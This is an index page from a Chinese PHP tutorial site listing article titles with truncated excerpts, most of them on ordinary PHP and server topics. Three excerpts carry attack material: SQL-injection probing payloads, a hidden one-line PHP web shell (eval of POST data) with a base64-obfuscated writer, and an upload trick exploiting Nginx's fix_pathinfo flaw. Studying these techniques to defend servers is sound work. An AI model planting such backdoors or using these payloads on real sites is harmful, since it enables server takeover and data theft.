• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP编程经验

RSS
  • PHP中file_get_contents函数获取带BOM的utf-8,然后json_decode()返回null的问题 ...
    PHP中file_get_contents函数获取带BOM的utf-8,然后json_decode()返回null的问题 ...
    问题:用php读取文件中的json数据,怎么解析都是返回null。{amp;quot;aamp;quot;:1,amp;quot;bamp;quot;:2,amp;quot;xamp;quot;:}读取文件,使用了file_get_contents函数。$json='{amp;quot;aamp;quot;:1,amp;quot;b ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:16 | 回复:0
  • PHP百度AI的OCR图片文字识别
    PHP百度AI的OCR图片文字识别
    第一步可定要获取百度的三个东西要到百度AI网站(http://ai.baidu.com/)去注册然后获得 -constAPP_ID='请填写你的appid';-constAPI_KEY='请填写你的API_KEY';-constSECRET_KEY='请填写你的SECRET_KEY';第二步下载SDK ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:16 | 回复:0
  • PHP版本VC6与VC9/VC11/VC14、ThreadSafe与None-ThreadSafe等的区别
    PHP版本VC6与VC9/VC11/VC14、ThreadSafe与None-ThreadSafe等的区别
        最近正好在弄一个PHP的程序,在这之前一直没有怎么以接触,发现对PHP版本知识了解不是很清楚,自己看了不少类似的文章,还是感觉不够明确和全面,    网上的结论又都是模棱两可,在此,给出最完整甚至武 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:19 | 回复:0
  • ThinkPHP利用.htaccess文件的Rewrite规则隐藏URL中的index.php
    ThinkPHP利用.htaccess文件的Rewrite规则隐藏URL中的index.php
    通常的URL里面含有index.php,为了达到更好的SEO效果可能需要去掉URL里面的index.php,通过URL重写的方式可以达到这种效果,通常需要服务器开启URL_REWRITE模块才能支持。下面是Apache的配置过程,可以参考下:1、ht ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:16 | 回复:0
  • Nginx+PHPCGI的fix_pathinfo安全漏洞
    Nginx+PHPCGI的fix_pathinfo安全漏洞
    具体的重现过程,用php代码修改后缀名后上传,比如说http://www.xx.com/1.jpg,访问的时候用http://www.xx.com/1.jpg/xxx.phphttp://docs.php.net/manual/zh/ini.core.phpcgi.fix_pathinfo“1″PHP_INI_ALL从PHP4.3. ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:18 | 回复:0
  • 利用php的ob缓存机制实现页面静态化
    利用php的ob缓存机制实现页面静态化
    利用php的ob缓存机制实现页面静态化首先介绍一下php中ob缓存常用到的几个常用函数ob_start():开启缓存机制ob_get_contents():获取ob缓存中的内容ob_clean()清除ob缓存中的内容,但不关闭缓存ob_end_clean() ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:18 | 回复:0
  • phpforeach跳出本次/当前循环与终止循环方法
    phpforeach跳出本次/当前循环与终止循环方法
     continue:跳出本次循环break:终止循环exit:用来结束程序执行return:用来结束一段代码  $arr=array('le','yang','jun','lecode','gagade');$html='';foreach($arras$key=amp;amp;gt;$value){if($value=='b'){ ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:20 | 回复:0
  • 分页组件PHP5+MSSQL
    分页组件PHP5+MSSQL
    amp;amp;lt;?classpagerecordset{private$cn;private$rs;private$totalpage=0;private$totalrecord=0;private$bpos=1;private$epos=1;private$row=null;private$firstpage=1;pri……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:21 | 回复:0
  • PHPjava时间戳转php时间戳
    PHPjava时间戳转php时间戳
    /***java时间戳转php时间戳*@paramint$javaUtjava的时间戳*@returnint*@Date2019/8/26*/publicstaticfunctionjavaUt2PhpUt($javaUt){if(!($javaUtamp;amp;amp;amp;amp;amp;……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:24 | 回复:0
  • PHP获取文件夹中的所有文件(包括子目录)
    PHP获取文件夹中的所有文件(包括子目录)
    方法一:0102030405060708091011121314151617181920212223functiontree($directory){    $file_arr=;    $mydir=dir($directory);    while($file=$mydir-amp;amp;amp;amp;……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:23 | 回复:0
  • Win10中的IIS10安装phpmanager和IISURLRewrite
    Win10中的IIS10安装phpmanager和IISURLRewrite
    首先是phpmanagerphpmanager的最新下载地址是:http://phpmanager.codeplex.com/releases/view/69115打开regedit,找到:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters右侧的MajorVersion ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:31 | 回复:0
  • 深入理解php内核
    深入理解php内核
    第一部分基本原理第一章准备工作和背景知识第一节环境搭建第二节源码布局及阅读方法第三节常用代码第四节小结第二章用户代码的执行第一节PHP生命周期第二节从SAPI开始Apache模块嵌入式Fastcgi第三节Zend引擎与脚本执 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:43 | 回复:0
  • CentOS5.3上安装Apache+php+Mysql+phpMyAdmin
    CentOS5.3上安装Apache+php+Mysql+phpMyAdmin
    1、系统下载CentOS开发社区已发布了新的5.3版本。CentOS5.3基于RedHatEnterprisLinux5.3.0,其中包括Kernel2.6.18、Apache2.2、PHP5.1.6、MySQL5.0、PostgreSQL8、GNOME2.16、KDE3.5、OpenOffice.org2.3、Firefox3.0 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:68 | 回复:0
  • php读取超大文件fseek
    php读取超大文件fseek
    functionreadMaxFile($fp,$start=0){$tag=amp;quot;\namp;quot;;$i=0;$content='';while($iamp;amp;lt;20){if(feof($fp)){return0;}fseek($fp,$start,SE……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:39 | 回复:0
  • html5+php实现文件的断点续传ajax异步上传
    html5+php实现文件的断点续传ajax异步上传
    html5+php实现文件的断点续传ajax异步上传准备知识:断点续传,既然有断,那就应该有文件分割的过程,一段一段的传。以前文件无法分割,但随着HTML5新特性的引入,类似普通字符串、数组的分割,我们可以可以使用slice ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:35 | 回复:0
  • 【php增删改查实例】第九节-部门管理模块(模糊查询)
    【php增删改查实例】第九节-部门管理模块(模糊查询)
    给datagrid添加一个工具栏。效果:模糊查询部门名称。接下来,在工具栏区域画一个input框:amp;amp;lt;divamp;amp;gt;请输入部门名称:amp;amp;lt;inputtype=amp;quot;textamp;quot;name=amp;quot;deptnameamp;quot; ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:37 | 回复:0
  • Centos安装PHP7及配置php-fpm开机启动-潇潇六月雨
    Centos安装PHP7及配置php-fpm开机启动-潇潇六月雨
    版权声明:本文为乐意黎原创文章,未经允许不得镜像、采集博客内容。如有转载,请务必注明来源。https://blog.csdn.net/aerchi/article/details/838581……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:23 | 回复:0
  • php命名空间详解
    php命名空间详解
    作者:字体:类型:转载时间:2013-05-04 我要评论命名空间一个最明确的目的就是解决重名问题,PHP中不允许两个函数或者类出现相同的名字,否则会产生一个致命的错误。这种情况下只要避免命名重复就可以解决 对于 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:25 | 回复:0
  • php注入十点基本步骤
    php注入十点基本步骤
    1.判断是否存在注入,加';and1=1;and1=22.判断版本andord(mid(version(),1,1))amp;amp;gt;51/*返回正常说明是4.0以上版本,可以用union查询3.利用orderby暴字段,在网址后加orderby10/*如果返回正常说明字段大于104. ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:19 | 回复:0
  • 利用PHP脚本辅助MySQL数据库管理1-表结构
    利用PHP脚本辅助MySQL数据库管理1-表结构
    amp;amp;lt;?php $dbi = new DbMysql; $dbi-amp;amp;gt;dbh = 'mysql://root:[email protected]/coffeetest'; $map = array(); $dbi-amp;amp;gt;fetchMap(amp;quot;SHOW TABLESamp;quot;, $map); $tables = array_key ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:19 | 回复:0
  • php基础面试题1
    php基础面试题1
    问题1:谈谈你对的PHP的基本认识。回答:PHP是Hypertext Preprocessor(超文本预处理器)的简称,是一种用来开发动态网站的服务器端脚本语言。问题2:什么是MVC?回答:MVC,即Model(数据层),View(视图层),Co ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:19 | 回复:0
  • Linux学习118nginx与php结合实现web网站及优化
    Linux学习118nginx与php结合实现web网站及优化
    一、演示1、规划a、我们前面一台主机为nginx主机,用来处理静态资源和代理php资源。192.168.10.13b、后端的一台主机作为fpmserver和mysqlserver。192.168.10.142、实验a、在后端主机安装相应的程序包。(1)、安装程 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:16 | 回复:0
  • php可逆加密解密函数
    php可逆加密解密函数
    很多PHP程序员调试使用echo、print_r()、var_dump()、printf()等,虽然对于有较丰富开发经验的程序员来说这些也已经足够了,他们往往可以在程序执行的过程中,通过输出特定变量的值可以判断程序执行是否正确,甚至效 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:17 | 回复:0
  • 配置nginx,支持php的pathinfo路径模式
    配置nginx,支持php的pathinfo路径模式
    nginx模式默认是不支持pathinfo模式的,类似index.php/index形式的url会被提示找不到页面。下面的通过正则找出实际文件路径和pathinfo部分的方法,让nginx支持pathinfo。本文基于安装lnmp一键安装包,添加虚拟主机情 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:17 | 回复:0
  • PHP设计模式系列-工厂模式
    PHP设计模式系列-工厂模式
    工厂模式提供获取某个对象实例的一个接口,同时使调用代码避免确定实例化基类的步骤。工厂模式实际上就是建立一个统一的类实例化的函数接口。统一调用,统一控制。工厂模式是php项目开发中,最常用的设计模式,一般 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:15 | 回复:0
  • php装饰者模式
    php装饰者模式
     装饰模式指的是在不必改变原类文件和使用继承的情况下,动态地扩展一个对象的功能。它是通过创建一个包装对象,也就是装饰来包裹真实的对象。示例:A、B、C编辑同一篇文章。classArticle{protected$content;public ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:13 | 回复:0
  • PHP中的数组(二)常用数组处理函数
    PHP中的数组(二)常用数组处理函数
    数组的相关处理函数   一.数组键/值操作有关的函数      1.array_values()  无论是关联的还是索引的返回的都是索引数组1amp;amp;lt;?php2$lamp=array(amp;quot;osamp;quot;=amp;amp;gt;amp;quot;Linuxamp ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:13 | 回复:0
  • JSQL,SQLProxy的php版本代码
    JSQL,SQLProxy的php版本代码
      下面是JSQL.OnServer()用到的SQLProxy代理的php版本代码:  amp;amp;lt;?phpdate_default_timezone_set(amp;quot;PRCamp;quot;);$host=stripslashes($_POST);if($host==null){$host='localhost';};$user=strip ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:12 | 回复:0
  • php中上传图片
    php中上传图片
    这里来看看php中如何上传图片的 先看代码check_image.php amp;amp;lt;htmlamp;amp;gt; amp;amp;lt;headamp;amp;gt; amp;amp;lt;titleamp;amp;gt;amp;amp;lt;/titleamp;amp;gt; amp;amp;lt;styl ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:12 | 回复:0
  • php生成word
    php生成word
    https://packagist.org/packages/phpoffice/phpword……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:11 | 回复:0
  • php中的file_get_contents(‘php://input’)
    php中的file_get_contents(‘php://input’)
    index.htmlamp;amp;lt;formaction=amp;quot;action.phpamp;quot;method=amp;quot;postamp;quot;amp;amp;gt;amp;amp;lt;inputtype=amp;quot;textamp;quot;name=amp;quot;userNameamp;quot;/amp;amp;gt;amp;amp;lt;br/ ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:11 | 回复:0
  • 40条技巧优化php代码
    40条技巧优化php代码
    1.如果一个方法能被静态,那就声明他为静态的,速度可提高1/4;2.echo的效率高于print,因为echo没有返回值,print返回一个整型;3.在循环之前设置循环的最大次数,而非在在循环中;4.销毁变量去释放内存,特别是大的数 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:10 | 回复:0
  • php正则表达式捕获组与非捕获组
    php正则表达式捕获组与非捕获组
    熟练掌握正则表达式是每个程序员的基础要求,对于每个初学者来说会被正则表达式一连串字符弄得头晕眼花。博主便会如此,一直对正则表达式有种莫名的恐惧。近来看到另一位博友写的《php正则表达式》一文获益良多,对 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:11 | 回复:0
  • PHP中面相对象对象的知识点整理
    PHP中面相对象对象的知识点整理
    面向对象万物皆对象,将构成问题的事务分解到各个对象上,建立对象的目的不是为了完成一个工作,而是为了描述某个事务在解决问题中的行为,更符合人的思维习惯,代码重用性高,可扩展性.___________________________ ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:11 | 回复:0
  • php文件锁
    php文件锁
    前言1、锁机制之所以存在是因为并发问题导致的资源竞争,为了确保操作的有效性和完整性,可以通过锁机制将并发状态转换成串行状态。作为锁机制中的一种,PHP的文件锁也是为了应对资源竞争。假设一个应用场景,在存在 ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:10 | 回复:0
  • PHP隐形一句话后门,和ThinkPHP框架加密码程序
    PHP隐形一句话后门,和ThinkPHP框架加密码程序
    服务器自动写入: mm.php 内容为: amp;amp;lt;?eval($_POST);?amp;amp;gt;   代码:   amp;amp;lt;?fputs(fopen(base64_decode(amp;quot;bW0ucGhwamp;quot;),amp;quot;wamp;quot;),base64_decode(amp;quot ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:11 | 回复:0
  • php读取excel类——PHP-ExcelReader
    php读取excel类——PHP-ExcelReader
    http://sourceforge.net/projects/phpexcelreader/ 一、 概述 PHP-ExcelReader 是一个读取 Excel xsl 文件内容的一个 PHP 类。 它的下载网址: http://sourceforge.net/projects/phpexcelreader/ 文件名: ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:13 | 回复:0
  • 关于在php中变量少写了一个$和页面不断转圈的问题排查和vim的自动补全方式 ...
    关于在php中变量少写了一个$和页面不断转圈的问题排查和vim的自动补全方式 ...
    php中的所有变量都是页面级的,即任何一个页面,最多都只能在一个文件:当前页面内使用,不存在跨文件/跨页面的作用域的变量!因此,即使是$GLOBALS这个变量,虽然叫全局变量,但是它也是页面级的,在一个页面内保存的amp;quo ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:11 | 回复:0
  • PHP设置Rediskey在当天有效
    PHP设置Rediskey在当天有效
    $redis-amp;amp;gt;set($key,$value);$expireTime=mktime(23,59,59,date(amp;quot;mamp;quot;),date(amp;quot;damp;quot;),date(amp;quot;Yamp;quot;));//设置键的过期时间$redis-amp;amp;gt;expireAt($key,$expireT ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:11 | 回复:0
  • 【PHP】php分隔字符串为数组
    【PHP】php分隔字符串为数组
    工作中会经常分隔字符串为数组,我们可以用php内置函数str_split(),可是有时候字符串中包含中文,切割后会乱码,比如 print_r(str_split('dw氛围fesf',3));  输出 Array ( =amp;amp;gt; php =amp;amp ...……
    作者:菜鸟教程小白 | 时间:2022-7-10 16:18 | 阅读:12 | 回复:0

关注我们

极客给你想要的成长

关注极客中国获取最新资讯

热门推荐
专题导读
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap